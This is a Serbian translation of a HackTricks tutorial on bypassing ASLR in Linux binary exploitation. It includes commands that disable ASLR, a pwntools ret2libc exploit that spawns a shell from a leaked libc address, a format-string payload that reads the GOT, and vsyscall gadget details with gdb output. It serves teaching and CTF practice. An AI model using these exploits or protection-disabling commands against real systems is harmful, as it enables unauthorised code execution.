hacktricks/binary-exploitation/common-binary-protections-and-bypasses/aslr
2024-04-07 04:23:52 +00:00
..
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 04:23:52 +00:00
ret2plt.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 04:23:52 +00:00
ret2ret.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 04:23:52 +00:00

ASLR

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Randomizacija rasporeda adresnog prostora (ASLR) je sigurnosna tehnika korišćena u operativnim sistemima za randomizaciju memorijskih adresa koje koriste sistemski i aplikativni procesi. Na taj način, značajno otežava napadaču predviđanje lokacije određenih procesa i podataka, kao što su stek, hip i biblioteke, čime se umanjuje određene vrste eksploatacija, posebno prelivanje bafera.

Provera statusa ASLR-a

Da biste proverili status ASLR-a na Linux sistemu, možete pročitati vrednost iz fajla /proc/sys/kernel/randomize_va_space. Vrednost sačuvana u ovom fajlu određuje vrstu primenjene ASLR:

  • 0: Bez randomizacije. Sve je statično.
  • 1: Konzervativna randomizacija. Deljenje biblioteka, stek, mmap(), VDSO stranica su randomizovani.
  • 2: Potpuna randomizacija. Pored elemenata randomizovanih konzervativnom randomizacijom, memorija upravljana putem brk() je randomizovana.

Možete proveriti status ASLR-a pomoću sledeće komande:

cat /proc/sys/kernel/randomize_va_space

Onemogućavanje ASLR-a

Da biste onemogućili ASLR, postavite vrednost /proc/sys/kernel/randomize_va_space na 0. Onemogućavanje ASLR-a obično se ne preporučuje osim u testiranju ili debagovanju. Evo kako to možete onemogućiti:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Takođe možete onemogućiti ASLR za izvršavanje sa:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Omogućavanje ASLR-a

Da biste omogućili ASLR, možete upisati vrednost 2 u datoteku /proc/sys/kernel/randomize_va_space. Obično je potrebno imati privilegije root korisnika. Potpuna randomizacija može se postići sledećom komandom:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Upornost preko ponovnog pokretanja

Promene napravljene pomoću echo komandi su privremene i biće resetovane prilikom ponovnog pokretanja. Da biste promenu učinili trajnom, morate urediti datoteku /etc/sysctl.conf i dodati ili izmeniti sledeću liniju:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Nakon uređivanja /etc/sysctl.conf, primenite promene sa:

sudo sysctl -p

Ovo će osigurati da vaše ASLR postavke ostanu nepromenjene nakon ponovnog pokretanja.

Bypasses

Brute-forcing za 32 bita

PaX deli prostor adresa procesa u 3 grupe:

  • Kod i podaci (inicijalizovani i neinicijalizovani): .text, .data, i .bss —> 16 bitova entropije u promenljivoj delta_exec. Ova promenljiva se nasumično inicijalizuje sa svakim procesom i dodaje se početnim adresama.
  • Memorija alocirana pomoću mmap() i deljeni bibliotekama —> 16 bitova, nazvano delta_mmap.
  • Stek —> 24 bita, nazvan delta_stack. Međutim, efektivno koristi 11 bitova (od 10. do 20. bajta uključujući), poravnato na 16 bajtova —> Ovo rezultira u 524,288 mogućih stvarnih adresa steka.

Prethodni podaci su za 32-bitne sisteme i smanjena konačna entropija omogućava zaobilaženje ASLR-a pokušavanjem izvršenja iznova i iznova dok eksploatacija ne uspe uspešno.

Ideje za brute-force:

  • Ako imate dovoljno veliko preplavljivanje da biste mogli da smestite veliki NOP sled pre shell koda, možete jednostavno brute-force adrese na steku dok tok preskoči neki deo NOP sleda.
  • Druga opcija za ovo u slučaju da preplavljivanje nije toliko veliko i eksploatacija može da se pokrene lokalno je moguće dodati NOP sled i shell kod u promenljivu okruženja.
  • Ako je eksploatacija lokalna, možete pokušati brute-force osnovnu adresu libc-a (korisno za 32-bitne sisteme):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Ako napadate udaljeni server, možete pokušati bruteforce-ovati adresu libc funkcije usleep, prosleđujući kao argument 10 (na primer). Ako server u nekom trenutku odgovori sa 10 sekundi kašnjenja, pronašli ste adresu ove funkcije.

{% hint style="success" %} Na 64-bitnim sistemima entropija je mnogo veća i ovo nije moguće. {% endhint %}

Lokalne informacije (/proc/[pid]/stat)

Datoteka /proc/[pid]/stat procesa uvek je čitljiva za sve i sadrži zanimljive informacije kao što su:

  • startcode & endcode: Adrese iznad i ispod sa TEXT delom binarnog fajla
  • startstack: Adresa početka stack-a
  • start_data & end_data: Adrese iznad i ispod gde je BSS
  • kstkesp & kstkeip: Trenutne adrese ESP i EIP
  • arg_start & arg_end: Adrese iznad i ispod gde su argumenti komandne linije
  • env_start & env_end: Adrese iznad i ispod gde su okružne promenljive.

Stoga, ako je napadač na istom računaru kao binarni fajl koji se eksploatiše i ovaj binarni fajl ne očekuje prekoračenje od sirovih argumenata, već od drugog ulaza koji može biti oblikovan nakon čitanja ove datoteke. Moguće je da napadač dobije neke adrese iz ove datoteke i konstruiše ofsete iz njih za eksploataciju.

{% hint style="success" %} Za više informacija o ovoj datoteci pogledajte https://man7.org/linux/man-pages/man5/proc.5.html tražeći /proc/pid/stat {% endhint %}

Imajući curenje

  • Izazov je dati curenje

Ako vam je dato curenje (jednostavni CTF izazovi), možete izračunati ofsete iz njega (pretpostavljajući na primer da znate tačnu verziju libc koja se koristi u sistemu koji eksploatišete). Ovaj primer eksploatacije je izvučen iz primera sa ovog mesta (proverite tu stranicu za više detalja):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Zloupotrebom preliva bafera bilo bi moguće iskoristiti ret2plt da se izvuče adresa funkcije iz libc-a. Proverite:

{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}

  • Proizvoljno čitanje formatiranih stringova

Baš kao i u slučaju ret2plt, ako imate proizvoljno čitanje putem ranjivosti formatiranih stringova, moguće je izvući adresu libc funkcije iz GOT-a. Sledeći primer je odavde:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Možete pronaći više informacija o proizvoljnom čitanju formatnih stringova u:

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Ret2ret & Ret2pop

Pokušajte zaobići ASLR zloupotrebom adresa unutar steka:

{% content-ref url="ret2ret.md" %} ret2ret.md {% endcontent-ref %}

vsyscall

Mehanizam vsyscall služi za poboljšanje performansi omogućavajući određenim sistemskim pozivima da se izvrše u korisničkom prostoru, iako su oni suštinski deo jezgra. Ključna prednost vsyscall-a leži u njihovim fiksnim adresama, koje nisu podložne ASLR-u (Slučajno raspoređivanje prostora adresa). Ova fiksna priroda znači da napadači ne zahtevaju ranjivost curenja informacija da bi odredili njihove adrese i koristili ih u eksploataciji.
Međutim, ovde neće biti pronađeni super interesantni gedžeti (iako je na primer moguće dobiti ekvivalent ret;)

(Sledeći primer i kod su iz ovog izveštaja)

Na primer, napadač može koristiti adresu 0xffffffffff600800 unutar eksploatacije. Dok bi pokušaj skoka direktno na ret instrukciju mogao dovesti do nestabilnosti ili rušenja nakon izvršavanja nekoliko gedžeta, skakanje na početak syscall-a koji pruža vsyscall odeljak može biti uspešno. Pažljivim postavljanjem ROP gedžeta koji vodi izvršavanje ka ovoj vsyscall adresi, napadač može postići izvršavanje koda bez potrebe za zaobilaženjem ASLR-a za ovaj deo eksploatacije.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: